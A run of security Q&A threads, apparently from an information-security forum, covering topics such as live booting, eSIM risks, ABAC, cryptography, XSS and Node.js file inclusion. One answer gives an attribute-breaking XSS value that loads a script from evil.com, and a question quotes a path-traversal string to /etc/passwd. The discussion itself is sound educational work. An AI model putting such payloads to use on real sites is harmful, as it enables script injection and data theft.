Booting 'live' form the hard disk I use VeraCrypt for file-container level encryption for all of my files.
But being very paranoid, I am always worried about the OS1, Primary applications and non-primary applications leaking the data.2
I am also tired of cleaning thumbnails, cache files among other things before shutting down my machine.
A good solution to all of this(to prevent the leakages mentioned above) would be to boot into a live OS from a USB. I can do all of my work, change any of the system's files/configurations, let the OS do any thumbnail creation/cache files generation and then save all of my files in some encrypted persistent storage(on the same device or another).
In that case I would not have to bother about the above leakages because when I will shut down the machine, the entire OS would return to its "virgin" "pritstine" state, with no (software-level)evidence of its existence a few moments ago.3
While this is a good solution, it isn't great, because now I have to carry an additional piece of hardware with me(other than the laptop itself) and (most importantly) the overall speed/snappiness of the system is decreased many folds.
What I want to do is to boot the entire OS from the hard disk itself, but while preserving all of the characteristics of a live OS. That is: The hard disk should behave just as a source for the OS(as it is in the case of booting from a USB), running everything in RAM only, not writing any single bit of data onto the hard disk[it will still have an encrypted persistent storage(preferably on some other partition), but writing data onto it would solely be on my will] and returning back to the exact same virgin state on shutdown.

Any way of also saving limited system settings and some app settings in the encrypted persistent storage would be welcome, but it is not something which I am specifically asking for.

Footnotes:
1If required prefer the GNU/Linux OS.(any distro)
2 Though the article is dealing with Deniable File Systems, the things mentioned there are also valid for normal file systems(as mentioned there too).
3 "few moments" defined as the time interval after shutting down a machine in which a cold boot attack is posssible.

Other Notes:
-Threat model: though I don't know the exact job description, my adversary includes a 'software engineer' capable of sophisticated "software based" attacks. Though he has physical access, physical attack capability is mostly limited to BIOS flashing only, no kind of forensic analysis.
-please ignore sub-OS malware (e.g. BIOS, NIC, etc.)
-Full disk encryption solves the leakage problem mentioned above, but it is like allowing a devil to wander into the wild and then controlling it, but I don't want to even create the devil in the first place.

With GNU/Linux, this should be possible simply by mounting the / file system read-only and adding tmpfs file systems (that saves the data on RAM) for /var/log etc. that needs to be writable.
There are some caveats with this approach, though:

Any process with root privileges might mount the file system as read/write. An optical medium solves this, as it's read-only by nature. I don't know whether e.g. such SSD drives exists that have physical switches for making them read-only. Maybe there's simply not enough demand for them.
You would have to occasionally upgrade the whole image in order to get security updates. Otherwise this approach will produce more security issues that it solves.

For these reasons, I'd suggest full disk encryption for the OS drive, if it's suitable for addressing your current risk models.


esim vs sim card, what is more secure? I can read many different attack vectors like swapping and porting but not sure if all those attacks are relevant about eSIM, can you please explain what are a security risk and attack vectors that will target eSIM?

I suspect the attack vectors for eSIMs will be largely the same as for physical sim cards, and here is my thinking:

Current attack vectors

The main attacks against sim cards aren't actually targeting the sim cards or the sim card media, they are targeting the processes underlying sim card registration and provisioning. Hence the popularity of sim swap attacks.
The processes and people that are the weak point in these attacks aren't changing. I recall when I got my eSIM (this may obviously be different for you), the process to enable it was essentially just a sim swap meaning if a support agent or a person with access can be tricked into swapping my sim card, the nature of the sim card really makes no difference.

  According to the Communications Fraud Control Association (CFCA), identity fraud in telecommunication during the subscription process remains one of the most common methods of telecommunication fraud.

The authentication and "crypto magic" that underlies your phones connection to the network (dependent on the sim card) also does not change. The eSIM is essentially a virtual copy the physical card that contains the same information but stores it in a different format. This implies that the attack vectors for things like MiTM also do not change.

  Like the insertable cards that precede them, eSIMs (or eUICCs, if you like) hold all the credentials needed to connect to a mobile network.

Since you are looking for a reputable source, have a look at this presentation to the European Union Agency for Cyber Security where the presenter is noting the gaps in assurance when it comes to provisioning of eSIMs as a critical issue.

eSIM security improvements

However, having said that, I do believe that the physical aspect of security does improve as alluded to by some commentators, but that the security value is negligible considering the popular attack vectors.

Since the eSIM is now stored digitally in a secure manner (Secure Enclave on iOS devices for example) on the device, removing it to read its contents should be more difficult compared to physically taking it out of a sim card slot and popping it into a sim card reader.

New potential eSIM security issues

There are also some theoretical new issues introduces by eSIMs, but since there is little public evidence of their exploitation they remain exactly that -  theoretical.

Have a look at this article that alleges that, due to the over-the-air provisioning of operator profiles, swapping fraud may become even easier (Technically not a new attack vector - just an easier way of exploiting a known attack vector)

  While over-the-air provisioning of operator profiles and allowing all ecosystem participants to connect to an online service might improve usability and convenience, it also opens a door to hacking opportunities...

There is also this article that correctly notes that the inability to just pop out the sim to prevent tracking, may result in privacy issues.

  So far, it was possible to remove the SIM card from a phone and so prevent it from gaining any access to a network—making it more difficult to track. A hardwired IC effectively removes this option, making it that much more difficult to prevent a device from being trackable.

So, in summary, it is unlikely that the main attack vectors will change since the vulnerabilities that inspired them did not. Furthermore, the physical security benefits of eSIMs are not applicable to these attack vectors and therefore largely useless in protecting against them. Lastly, new issues relating to end user privacy may crop up but are mostly theoretical at this point.


Attribute-based access control standard definition While reading a number of definitions of attribute-based access control (ABAC), I found that there are two different definitions:

Access control decisions are made using the attributes of users,
objects and the environment.
Access control decisions are made using the attributes of users and
objects (although environment attributes are not mentioned in this definition, they form part of the user's attribute e.g. user's location).

So I wanted to know, in information security, which definition is recognised as the standard definition of ABAC?

There are several places where you could find a "formal" definition of abac. One such place is NIST, the National Institute of Standards and Technology. They have a dedicated site on ABAC.

Their definition is as follows:

  ABAC is a logical access control model that is distinguishable because it controls access to objects by evaluating rules against the attributes of the entities (subject and object) actions and the environment relevant to a request. Attributes may be considered characteristics of anything that may be defined and to which a value may be assigned. In its most basic form, ABAC relies upon the evaluation of attributes of the subject, attributes of the object, environment conditions, and a formal relationship or access control rule defining the allowable operations for subject-object attribute and environment condition combinations.

In fact, ABAC uses two fundamental building blocks:

attributes (key-value pairs)
policies (or rules)

Like the definition says, attributes can be about anything (users, objects, environment, context, and more). Generally attributes relate to the grammatical function they play in a sentence e.g.

  Managers can view documents they own

Translated, it becomes

  A user with role == "manager" can do action == "view" on object of type == "document" if user.name == document.owner

The standard implementation for ABAC is xacml & ALFA. There are several open-source implementations (AuthZForce) as well as commercial (Axiomatics - which is where I work)

Attributes can be typed (string, integer...) and multi-valued (e.g. you can have multiple roles). XACML / ALFA define the policy language to express ABAC. XACML also defines a REST/JSON profile to POST authorization requests and receive responses back.

David


Using data URIs to perform XSS in anchor tags - vulnerability? I've been looking at a few issues related to XSS. In doing so, I've stumbled upon a few "XSS Filter Evasion" type checklists that demonstrate supposed XSS via data URIs. For example:

The last line of: https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
Or this security report: https://nodesecurity.io/advisories/remarkable_xss-in-data-uri
Or this blog post: https://deadliestwebattacks.com/html-injection-quick-reference/

It's obvious that clicking a link (such as the one below) would cause an alert to appear in the browser.

test

However, this code (as far as I can tell) will not be executed on the same origin as the page that contains the anchor tag.

Why are people calling this an XSS vector? Is there something I'm missing that makes this an issue?

However, this code (as far as I can tell) will not be executed on the same origin as the page that contains the anchor tag.

As of July 2017, that's true for Google Chrome but not Mozilla Firefox (and possibly other browsers that aren't WebKit-based). However, Mozilla is currently working to change that behavior.

So, a click on this link in Firefox will alert the current domain, making it a full-impact XSS vulnerability:

click

I'm quoting a developer from this bug report:

  In Firefox data: URIs inherit the security context of the page from which they're opened, just like javascript: URIs. This includes access to cookies. This is a well-known aspect of how we handle data: URIs. Up until relatively recently the HTML spec aligned with what we did. This changed, and now we are slowly working to change this behaviour (but that change is a fundamental one and doesn't happen overnight).

But even without an inherited origin you should avoid allowing user-supplied data URIs where the application expects an ordinary web link, as explained in this thread.


Is off-the-record style encryption possible with email? The instant messaging world has off-the-record encryption - which means you get authentication, encryption, and forward deniability.  Key material is published after a session ends such that an eavesdropper could forge messages, allowing deniability, even if private keys are lost.

For email, however, all we have is GPG/PGP, which offers authentication and encryption, but no forward deniability.  If a private key is compromised, an adversary can prove that messages were yours.  Furthermore, compromising the one private key compromises all messages sent with that key, unlike PFS implementations with HTTPS which use session keys.

Is it possible for off-the-record style encryption to function in the asynchronous multi-server environment of SMTP?  Does such a protocol exist?

If not, how would a next-generation alternative to SMTP have to differ if it were to support current approaches to forward deniability and forward secrecy?

Simple forward deniability is easy to achieve with PGP: simply don't sign the email you send ! Anybody can send emails with arbitrary contents and alleged sender; signatures are meant specifically to cancel forward deniability.

However, if you do not sign you also lose integrity. What you would like is to be able to send an email such that:

the recipient can be reasonably sure that the email is from who he believes the sender to be, and has not been altered in transit;
but neither external attackers or the recipient themselves gain any proof that could be shown to third parties that the alleged sender really sent the email.

Connected protocols like instant messaging can achieve these properties by using a shared secret established with a protocol like Diffie-Hellman. When Alice and Bob share the secret K (and used authentication to establish that shared knowledge), and Bob receives a message with a correct MAC value which uses K, then Bob knows that the message comes from Alice, because only Alice and himself know K, and Bob did not send it himself. However, Bob has nothing "convincing" to show, because since he knows K, he could have forged all the messages.

With emails, there is no connection, so no semi-transient shared secret: a secret value that sender and recipient share, never stored in a file but still retained for several successive messages. However, there is a kind of "encryption-with-MAC" format in OpenPGP, section 5.13. The format is also very flexible, so one could build an OpenPGP message containing:

a public-key encrypted session key packet which contains a random K encrypted with the recipient's public key;
a signature packet which includes a signature computed over the previous packet (and only over that packet, not the plaintext data);
the plaintext data, as an "encryption-with-MAC" packet.

Such an email would incarnate forward deniability with integrity: from the outside, it can be proven that the alleged sender sent at least one message, one day, to the recipient; and the recipient can show K and the proof tells that K was known to the sender too. However, nobody can demonstrate that any specific message contents were encrypted with K.

Unfortunately, though the OpenPGP format can support a lot of combinations, this is not necessarily the case of existing implementations (like GnuPG). Moreover, the "encryption-with-MAC" packet uses a cheap homemade MAC (it simply appends the SHA-1 hash of the data, and encrypts the whole lot) which does not look very secure to me. I am not aware of extensive studies of that sort-of-MAC construction, but I would not bet my last shirt on its robustness.

So you can potentially have forward deniability with authentication and integrity in PGP but only as long as the relevant software support this specific combination, which, as far as I know, they do not. Yet.

In cryptographic research, there is also another type of algorithm called ring signatures would could be applied to the subject: with ring signatures, the sender (Alice) computes a special type of signature involving her private key and the public key of the recipient (Bob), such that it can be proven, from the outside, that either Alice or Bob computed the signature, but which one actually did it is unknown.

There is no currently defined support for ring signatures in OpenPGP.


Mobile OWASP Security I am doing an assignment to design an App that communicates with my rails server, I have completed the OWASP top 10 for rails side, but I was wondering for my App that talks to my SOAP APIs at rails server, what security should I implement? I have read about OWASP Mobile Security, but I am not sure, I know basic HTTPS is a must but I was wondering if there is any other suggestions.

You might find some helpful guidance from our free Secure Mobile Development Best Practices resource, a collection of 50+ tips to help you learn how to develop secure Android and iOS apps.

Specifically, the practice Implement Secure Network Transmission Of Sensitive Data might help you.

Disclosure: I'm Content Marketing Manager at NowSecure


how to trust a PGP smartcard I understand the interest of using a PGP solution that is based on a OpenPGP smartcard, such as the Nitrokey Pro or similar. But then, how can I decide that I trust an OpenPGP smartcard?

The same way you trust GPG running on your Intel or AMD CPU.

You either trust the vendor or audit the code and hardware yourself.

In practice, probably a bit of both. e.g. you trust the vendor of the micro-controller but audit the software running on it.


XSS in HTML class tag with only double quotes escaped I am currently testing XSS filter and I wonder, whether it is possible to demonstrate XSS attack on class tag attribute in HTML, when only double quotes are escaped. Other characters (<, >, ') are unescaped.

Code I am testing it on looks like this:

<span class="MY_VALUE">
Test
</span>

I was not able to find any example of how to inject script in this tag.
Thanks for any help.

Did you try MY_VALUE=

&#34>(delivered)<script src=&#34http://evil.com/code.js

?


Whether cross cookie sharing between the android apps is potential threat to privacy? Recently I wanted to buy the particular product from an online website and was just searching that product during my leisure time. after some time suddenly I saw the ad of that product on Instagram and Facebook android applications. This blew away my mind because Facebook and Instagram Applications keeping track of activity I am performing on other application without my consent.

Anyone who is wise enough about privacy and security related stuff will never agree to allow other applications to track activities particular person is performing on other applications.

I have several doubts

1) How can Facebook and Instagram android application keep track of activities without any permission or privacy policy notification?

2) I know this mechanism is possible because of sharing of cookies between the apps but can only cookies are responsible for this?

3) Whether the same problem exists in the IOS as well? as IOS said to be more secure than android.

4) How secure application like banking applications restricts sharing of cookies with other applications?

5) Why there is no cookie specific permission feature available in android like we have access to give contact permission to certain apps camera permission to certain apps.

You are logged in to FB on the web browser you used to browse the shopping site, so the site operator tells FB what you were looking at. The cookies are not actually shared by anyone, FB keeps those to themselves. FB centrally determines what your account sees in the FB app, regardless of OS or device, based on everything it knows abuot you and your activities.

The solution is to block 3rd-party cookies in your web browser, a well-covered topic. You can also just sign out of FB before browsing (instead of just closing the tab), but a recent legal decision found that FB can legally track you even when you are signed out. That varies by jurisdiction, but they technically can for sure.


Securing mail deliveries in a multi-tenant office building I am concerned that that postal mail (and other deliveries not requiring a signature) may be at risk from theft or unauthorised access. My company is based in a multi-tenant office with an unattended reception and no CCTV. When the postman visits, he buzzes one of the offices on the intercom who let him into the reception, where he leaves the mail on the reception desk.

Anyone with access to this reception (employees from the companies in the building, visitors, facilities staff, and so on), could pick up and walk away with anything that's left there. Since most of the people who work in this building don't use the main reception to enter the office, unattended items could be left there for several hours before being picked up.

I doubt that I could persuade our landlord to post a receptionist at the front desk, and there's nowhere that a set of lockable mailboxes could be installed (and they wouldn't be big enough to store the packages that are delivered). What other options are there?

Make sure the postman buzzes your offices, and have a procedure to immediately go collect your mail.
Figure out when the postman delivers (it's probably about the same time every day) and schedule someone to go down at that time.
Arrange for your mail to be held at the post office, not delivered, and send someone to collect it every day.


What's the point in "authentifying an application" with its domain name against a db? As a self-taught discovering professional development, I daily run into things that puzzles me.

Simply put: I'm supposed to work on an old ZF1 application (with really ugly code, imbricated ternaries, condition inside assignation and stuffs without comments), but since Friday I didn't start anyway work because... I can't find out how to successfully "authentify the application" !
The application makes a SOAP call to the "portal", passing it a truncated version from the HTTP_HOST, which is then checked for its presence in a database. The corresponding row basically is made of domain names without subdomains, a plain text password, and a serialized array which is returned to the application.

If it fails, it throws an exception with message "110" (meaningful huh), nothing catches it so : fatal error.

As far as I understand what my boss says (I'm self-taught on english websites and books, he's not really a dev neither an architect or en english speaker, so dialog may get strange) : "this is to secure the application, so that nobody would be able to use our code to fake our application through a similar domain as our". Although I try to keep myself as much informed as possible, my knowledge about security isn't enough to answer myself... But I feel like their security is totally useless !! If they "use their code" it's because bad guys had access to it... so to the server... and nonetheless, if I get the code, I just need to get rid of the authentication process... or fake their domain name when doing the SOAP call... I can simply reproduce...

Does that even make sense ?? Isn't requests over SSL/TLS way more secure that this kind of makeshift job ??

Bonus question : what's the point in responding with a "Welcome to nowhere" 200 code instead of a 503 or anything else when requesting the server IP ?? Excepted telling bad guys "HEY, here's nowhere, but there's still something behind !!"

Thank you !

I think what the boss is trying to say by

  so that nobody would be able to use our code to fake our application
  through a similar domain as our

is that they don't want anybody else to make a different client for their application. They have a database of trusted clients for their webservers and they would honor requests made only from those addresses.
This idea of white-listing clients is an old one but their implementation is definitely flawed. Anybody can spoof the HTTP_POST parameters that they are looking for and make whatever SOAP calls they want.
This discussion (though not completely the same as what your boss wants), can help you out: Best practices for securing open APIs from quota theft


Can a website still detect my real MAC address even if I use different virtual machine each time I visit the website? Suppose I use a proxy and a different virtual machine each time I visit a particular website, will a website still be able to detect my MAC address and/or uniquely identify me?
Assume that the website owner does privacy violations like inserting cookies etc.

The question in the original title of your post ("Can a website still detect my real MAC address even if I use different virtual machine each time I visit the website?") is different than the question in the body of your post.

To the question in the original title:  No, a website should never be able to "detect" your MAC address, under any circumstances.  The MAC address only identifies your NIC on the local network segment, it isn't passed upstream to a website that you're accessing via intermediate routers.

To the question in the post body:  The website many be able to uniquely identify you, and it may not.  There are certainly ways to try and fingerprint a repeat user (cookies, flash cookies, browser profiling, IP address logging, etc.)  that allow for various levels of confidence.  As Rory mentioned, using the same base VM potentially leaves you vulnerable to browser fingerprinting, but eliminates the threat from cookies.

However, To be relatively confident in your privacy, I don't know that I'd bother with the "new VM every visit" and focus on more traditional privacy-protecting measures such as turning off your browser plugins, using your chosen browser's private browsing mode, and most importantly, using Tor.


Can MitM attack be avoided without using a 3rd party? I'm a little new to this area and have been reading up on Man-in-the-middle attacks. Almost everywhere the solution provided seems to be to use a trusted third party such as a Certification Authority.

Is there any impossibility result that implies that this can't be solved by the two communicating parties on their own? Is there any way to do it without using a CA?

There is no need to use a CA, even with HTTPS. You can simply use a self-signed certificate on the server if you provide the client with a copy or similar (i.e. fingerprint) of this certificate in a secure (tamper proof) way before the client connects to the server so that the client can verify that it talks to the expected server. If the client can not verify the server man in the middle attacks are possible.

The concept of CA signed certificates (i.e. public key infrastructure (PKI)) is only created because sharing a self-signed leaf certificates with all parties does not scale. With CA the browser/OS has a list of trust anchors (root certificates) and can derive the trust to a server certificate based on a trust chain from the trusted root to the leaf certificate. Because of this mechanism only the trusted root CA need to be shared but not every possible server certificate.

Apart from a pre-shared certificate or similar public information (like a SSH server fingerprint) MITM resistant connections can also be established by using a shared secret on both sides. That's the typical case in home Wifi protected with WPA.

Limited protection against MITM is achieved with Trust On First Use (TOFU). In this case the identity of the peer is saved from the first connection and applied to the following connections in the hope that the attacker was not present on the first connection, i.e. that the identity received was the true identity of the expected peer. This is done for example if one accepts a self-signed certificate in HTTPS.


Is there any particular reason to use Diffie-Hellman over RSA for key exchange? I often see RSA being recommended as a method of key exchange. However, the Diffie-Hellman key exchange method appears to be secure as well.

Is there any considerations one should take into account that would lead to using one algorithm over the other?

The situation can be confused, so let's set things right.

RSA is two algorithms, one for asymmetric encryption, and one for digital signatures. These are two distinct beast; although they share the same core mathematical operation and format for keys, they do different things in different ways. Diffie-Hellman is a key exchange algorithm, which is yet another kind of algorithm. Since the algorithms don't do the same thing, you could prefer one over the other depending on the usage context.

Asymmetric encryption and key exchange are somewhat equivalent: with asymmetric encryption, you can do a key exchange by virtue of generating a random symmetric key (a bunch of random bytes) and encrypting that with the recipient's public key. Conversely, you can do asymmetric encryption with key exchange by using the key resulting from the key exchange to encrypt data with a symmetric algorithm, e.g. AES. Moreover, Diffie-Hellman is a one-roundtrip key exchange algorithm: recipient sends his half ("DH public key"), sender computes his half, obtains the key, encrypts, sends the whole lot to the recipient, the recipient computes the key, decrypts. This is compatible with a one-shot communication system, assuming a pre-distribution of the public key, i.e. it works with emails.

So for the rest of this answer, I assume we are talking about RSA encryption.

Perfect Forward Secrecy is a nifty characteristic which can be summarized as: actual encryption is done with a key which we do not keep around, thus immune to ulterior theft. This works only in a setup in which we do not want to keep the data encrypted, i.e. not for emails (the email should remain encrypted in the mailbox), but for data transfer like SSL/TLS.

In that case, to get PFS, you need to generate a transient key pair (asymmetric encryption or key exchange) for the actual encryption; since you usually also want some sort of authentication, you may need another non-transient key pair at least on one side. This is what happens in SSL with the "DHE" cipher suites: client and server use DH for the key exchange, with newly generated DH keys (not stored), but the server also needs a permanent key pair for signatures (of type RSA, DSA, ECDSA...).

There is nothing which intrinsically prohibits generating a transient RSA key pair. Indeed, this was supported in older versions of SSL; see TLS 1.0, section 7.4.3. In that case, use of an ephemeral RSA key was mandated not for PFS, but quite the opposite: so that encryption keys, while not stored, could be broken afterwards, even if the server's permanent key was too large to be thus brutalized.

There is, however, an advantage of DH over RSA for generating ephemeral keys: producing a new DH key pair is extremely fast (provided that some "DH parameters", i.e. the group into which DH is computed, are reused, which does not entail extra risks, as far as we know). This is not a really strong issue for big servers, because a very busy SSL server could generate a new "ephemeral" RSA key pair every ten seconds for a very small fraction of his computing power, and keep it in RAM only, and for only ten seconds, which would be PFSish enough.

Nevertheless, ephemeral RSA has fallen out of fashion, and, more importantly, out of standardization. In the context of SSL, if you want PFS, you need to use ephemeral DH (aka "DHE"), because that's what is defined and supported by existing implementations.

If you do not want PFS, in particular if you want to be able to eavesdrop on your own connections or the connections of your wards (in the context of a sysadmin protecting his users through some filters, or for some debug activities), you need non-ephemeral keys. There again, RSA and DH can be used. However, still in the context of SSL, non-ephemeral DH requires that the server's key, in its X.509 certificate, contains a DH public key.

DH public keys in certificates were pushed by the US federal government back in the days when RSA was patented. But these days are long gone. Moreover, DH support was never as wide as RSA support. This is indeed an interesting example: DH was government approved, and standardized by an institutional body (as ANSI X9.42); on the other hand, RSA was standardized by a private company who was not officially entitled in any way to produce standards. But the RSA standard (PKCS#1) was free for anyone to read, and though there was a patent, it was valid only in the USA, not the rest of the world; and in the USA, RSA (the company) distributed a free implementation of the algorithm (free as long as it was for non-commercial usages). Amateur developers, including Phil Zimmerman for PGP, thus used RSA, not DH. The price of the standard is nothing for a company, but it can mean a lot for an individual. This demonstrates the impetus that can originate, in the software industry, from amateurs.

So that's one advantage of RSA over DH: standard is freely available.

For security, RSA relies (more or less) on the difficulty of integer factorization, while DH relies (more or less) on the difficulty of discrete logarithm. They are distinct problems. It so happens that the best known breaking algorithms for breaking either are variants of the General Number Field Sieve, so they both have the same asymptotic complexity. From a high-level view, a 1024-bit DH key is as robust against cryptanalysis as a 1024-bit RSA key.

If you look at the details, though, you may note that the last part of GNFS, the "linear algebra" part, which is the bottleneck in the case of large keys, is simpler in the case of RSA. That part is about reducing a terrifyingly large matrix. In the case of RSA, the matrix elements are just bits (we work in GF(2)), whereas for DH the matrix elements are integer modulo the big prime p. This means that the matrix is one thousand times bigger for DH than for RSA. Since matrix size is the bottleneck, we could state that DH-1024 is stronger than RSA-1024.

So that's one more advantage of DH: it can be argued that it gives some extra robustness over RSA keys of the same size.

Still for security, DH generalizes over other groups, such as elliptic curves. Discrete logarithm on elliptic curves is not the same problem as discrete logarithm modulo a big prime; GNFS does not apply. So there is not one Diffie-Hellman, but several algorithms. "Cryptodiversity" is a good thing to have because it enables us to switch algorithms in case some researcher finds a way to easily break some algorithms.

As for performance:

RSA encryption (with the public key) is substantially cheaper (thus faster) than any DH operation (even with elliptic curves).
RSA decryption (with the private key) entails more or less the same amount of work as DH key exchange with similar resistance. DH is a bit cheaper if it uses a permanent key pair, but a bit more expensive if you include the cost for building an ephemeral key pair.
In the case of SSL and DHE_RSA, the server must generate a DH key pair and sign it, and the signature includes the client and server random values, so this must be done for each connection. So choosing "DHE_RSA" instead of "RSA" kind-of doubles the CPU bill on the server for SSL -- not that it matters much in practice, though. It takes a very busy server to notice the difference.
A DH public key is bigger to encode than a RSA public key, if the DH key includes the DH parameters; it is smaller otherwise. In the case of SSL, using DHE_RSA instead of RSA means exchanging one or two extra kilobytes of data -- there again, only once per client (because of SSL session reuse), so that's hardly a crucial point. In some specialized protocols, ECDH (with elliptic curves) gets an important edge because the public elements are much smaller.

If you are designing a protocol in a constrained situation (e.g. involving smart cards and I/O over infrared or anything similarly low-powered), ECDH will probably be more attractive than RSA.

Summary: you will usually prefer RSA over DH, or DH over RSA, based on interoperability constraints: one will be more supported than the other, depending on the context. Performance rarely matters (at least not as much as is often assumed). For SSL, you'll want DH because it is actually DHE, and the "E" (as ephemeral) is nice to have, because of PFS.


Remote Keyless Entry physical access to FOB I know RKE's that can have their codes stolen. However, this requires some setup. I am curious of what is the risk of actually handing over ones fob to valets and car washes. From what I have learned of security, physical access is always a very large risk.

Additionally, valets and such could also be able to glean house address information from documents stored in vehicle. i.e. Where the vehicle resides.

You said,

  I am curious of what is the risk of actually handing over ones fob to valets and car washes.

I think you've indirectly answered your own question, because right after that, you said,

  From what I have learned of security, physical access is always a very large risk.

Giving your fob to a valet or car wash attendant is basically giving them unfettered direct physical access to your vehicle - and often, doing this involves them taking your vehicle out of your direct sight for at least a short period of time. Doing so has obvious risks. They have physical access to your vehicle and it's systems. The potential threats range from mild hooliganism (they could do a smoky burnout and wear down your tires) to all kinds of simple to more sophisticated attacks:

Reading important documents you've left in your car. Many people leave insurance and registration documents in their vehicle, which may have your name, address, and other personal information. This information could be used to impersonate you, steal your identity, or track you down later.
Stealing easy to remove low value items (pocket change in your center console, your spare tire) or perhaps more difficult to remove, high value items (swapping some valuable part for a fake or a damaged part from another vehicle).
Planting a tracker or  in your vehicle.
Programming their own fob to work with your vehicle, giving them access to your vehicle in the future.
Planting malicious software in the vehicle's ECU, entertainment system, or other electronic system.
and so on...

Of course, it's debatable how likely any of these are, given that many of them are easy to detect (if your pocket change is gone after the car wash, it's pretty obvious someone took it) or would require planning, resources, and sophistication not likely to be applied to a random valet customer.


Unique SSL keys for load-balanced hosts Given a setup with multiple SSL-terminating load-balancers in a failover configuration, is it a bad idea to have a unique TLS private key for each one of the hosts? They would all share the same FQDN.

Having the same key for several systems might be a bad idea because this necessarily means that the private key travelled between systems. The more a key travels, the less private it can be. It really depends on the context, in particular how far from each other the systems were during that moving key phase ("far" both physically and network-wise).

Giving each system its own private key and certificate is "safer" and will not induce any extra problem because SSL clients either don't remember the server's public key, or when they do they don't ask for it again. Speaking of which, for load-balancing between servers, you will want to share SSL sessions so that a client may reuse the result of a previous handshake for a new connection even if the load-balancer directed it to a new server instance (for Apache/mod_ssl, see the documentation, directive SSLSessionCache).

When each server has its own key, the server can generate it locally, and the private key never travels, which is good. The drawback is that each server will need its own specific certificate, so 20 servers imply 20 certificates. Your CA will love that; your wallet might disagree.


Is it dangerous to pass user input to the require function in Node.js? TL;DR: Is it dangerous to have user input used in a require function in Node.js? Can it be used to read files, and if so how can I protect against that?

For example, I have an ExpressJS server running, with an API. The client can make a call to /api/login, which is then required as ./api/login(.coffee):

require('coffee-script')
app = require('express')()

app.all '/api/:func?', (req, res) ->
  # Get API function
  func = req.params.func

  # Check if file exists
  fs = require 'fs'
  fs.access "./api/#{func}.coffee", fs.F_OK & fs.R_OK, (err) ->
    if err
      # Send error when invalid call
      api = require('./api/error')
    else
      # !!! Injection ?
      api = require('./api/' + func)

    # Call API
    api(req, res)

I assume that one can't send a request to http://example.net/api/../../../etc/passwd for example, but I only tested that in my browser, and I'm not sure if my browser handles that. Besides that, I think the worst thing that could happen would be that Node crashes because it can't require such a file.

Are there any security issues here, and how would I block such attacks?

If you let users require unexpected files, you will get unexpected behaviour. While it may not be obvious how an attacker could exploit that for anything useful, it is impossible to predict the consequences. That is bad.

At the very least you open up a DoS vulnerability since a user can easily crash Node and force a restart. A few requests like that per second and you are out of business. At worst... who knows?

So what is the solution? I see two possible approaches:

Whitelist. Have an array with allowed file names, and make sure func is in that array before you require.
Make sure you stay in the API folder, and make sure all files there can be safely included. For how to do that, see this question of mine.


Examples for practicing reverse engineering/disassembly of win32 .executables I remember back in the day, there used to be a website where users would post hackits in the form of win32 exes for users to crack. Usually the goal was to defeat some sort of DRM, such as a nag screen, etc. The challenges would be classified by skill level- ranging from beginner to intermediate and so on. I can't find the website or similar resources.

Do you know of any such resource where users could practice their reverse engineering skills (particularly in the win32 domain)?

http://crackmes.de/ is perhaps the most comprehensive website in this category.

Also Keygen challenges at http://tuts4you.com/download.php?list.51 are good .


How to block detour programs that bypass firewalls? We setup a ISG-1000 firewall about a month ago with the goal of blocking specific URLs. Please see image file below in which there are 70EA PCs.

Even though we think we blocked specific URLs, some users detour the IP using the zenmate program which is some kind of Detour Program!

Are there firewall settings that would help with this? Not quite sure what to try next.

There are lots of ways to pass data through a firewall and more so if you don't have control of the software installed on the client computers inside the network.

According to this information zenmate  tunnels the data through a HTTPS connection. And according to this zenguard.biz is the backend server involved in this process. And based on this information zenguard.org and zenguard.io domains are involved too. Thus it might be enough to block these sites, both for HTTP and HTTPS. This will of course block all use of zenmate and not only access to the specific URL you want to block. And of course the domains might change in the future because zenmate itself is not interested in being blocked.

But note that blocking zenmate only solves part of the problem. There are other ways to bypass the firewall, like using a SSL-VPN, tunneling with SSH and much more. At the end there is no fully technical solution to block these bypasses. Instead you should make sure that you control which software is installed and have security policies to prohibit use of any firewall bypasses. Then you need to monitor your network for violations and publicly punish everybody who tries to violate these policies so that other users don't even try.


self-signatures using SHA1 This page says:

  self-signatures must not use SHA1

  You can check this by doing:

gpg --export-options export-minimal --export <keyid> | gpg --list-packets |grep -A 2 signature|grep 'digest algo 2,'

  If you see any ‘digest algo 2’ results printed, then you have some self-signatures that are using SHA1, as digest algo 2 is SHA1. See the OpenPGP RFC 4880, section 9.4 for a table that maps hash algorithms to numbers.

I set up a key following best practice instructions (Debian's developer keysigning guidelines), but I get digest algo 2 lines printed when I run this. What exactly does this mean, and what part of setting up the key affects this?

This does mean some part is signed using SHA1 as hashing algorithm. If you view the full output of gpg --export-options export-minimal --export <keyid> | gpg --list-packets, you may find which part.


How to optimize compressed file cracking? I'm currently doing research on cracking encrypted, compressed files (specifically: uif, zip, 7z, dmg).  Looking at all the utilities out there, it seems the time it takes to crack something is greatly reduced when a better idea of password length/character set is known (this is obvious to me from prior experience in brute forcing/dictionary attacks).  Is there a way to forensically analyze the encrypted compressed files themselves to get more information on the password, the hash it uses, etc in order to optimize cracking?

Theories I've thought of but need to know feasibility/tools needed: forensic markings in the assembler/binary, figuring out hashing mechanism to allow rainbow tables, etc.

Any good encryption generates a uniform distribution of characters, making it look very close to randomness.  Thus you cannot figure out what kind of crypto simply by looking at the ciphertext.

I guess the closest you could come to that is if crypto X produces output in 128byte increments and crypto Y produces 64byte blocks, then if your ciphertext is on a 64byte boundary that isn't also a 128byte boundary then it, then it has to be crypto Y.  The problem is a lot of cryptos produce similarly sized blocks so you're guessing among many different algorithms.


Email injection in simple terms? Can someone explain why spammers use email injection? I am a victim and was wondering if there was any other malicious point besides annoying me and filling up my e-mail?

Email injection works exploiting the way a email server processes the requests. A typical email transaction works like this (S is the server, C is the client):
 S: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready
 C: HELO USC-ISIF.ARPA
 S: 250 BBN-UNIX.ARPA

 C: MAIL FROM:<Smith@USC-ISIF.ARPA>
 S: 250 OK

 C: RCPT TO:<Jones@BBN-UNIX.ARPA>
 S: 250 OK

 C: RCPT TO:<Green@BBN-UNIX.ARPA>
 S: 550 No such user here

 C: RCPT TO:<Brown@BBN-UNIX.ARPA>
 S: 250 OK

 C: DATA
 S: 354 Start mail input; end with <CRLF>.<CRLF>
 C: Blah blah blah...
 C: ...etc. etc. etc.
 C: .
 S: 250 OK

 C: QUIT
 S: 221 BBN-UNIX.ARPA Service closing transmission channel

(got from here)
This is the case for sending a single email. But if you need to send several emails using the same SMTP server, you don't need to HELO again, just send another MAIL FROM and send the next.
An injection works by exploiting the MAIL FROM parameter, by including a full email message on it. For example, take this from address:
